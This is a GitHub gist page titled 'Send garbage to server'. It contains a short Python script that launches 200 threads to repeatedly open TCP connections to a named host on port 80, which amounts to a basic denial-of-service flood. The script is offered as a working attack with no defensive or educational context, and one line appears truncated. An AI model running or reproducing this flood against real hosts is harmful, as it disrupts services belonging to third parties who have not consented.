Created
December 10, 2014 22:22
-
-
Save mikroskeem/0846457a992b0003dd0d to your computer and use it in GitHub Desktop.
Send garbage to server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os, socket, threading, time | |
a = 'chadillac.servebeer.com' | |
p = 80 | |
class kill(threading.Thread): | |
def __init__(self): | |
threading.Thread.__init__(self) | |
def run(self): | |
self.run = True | |
while self.run: | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
soc | |
sock.connect((a, p)) | |
time.sleep(.001) | |
sock.close() | |
del sock | |
thrs = [] | |
for i in range(0, 200): | |
nthr = kill() | |
nthr.start() | |
thrs.append(nthr) | |
try: | |
while True: | |
time.sleep(1) | |
except: | |
for k in thrs: | |
k.run = False | |
k.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment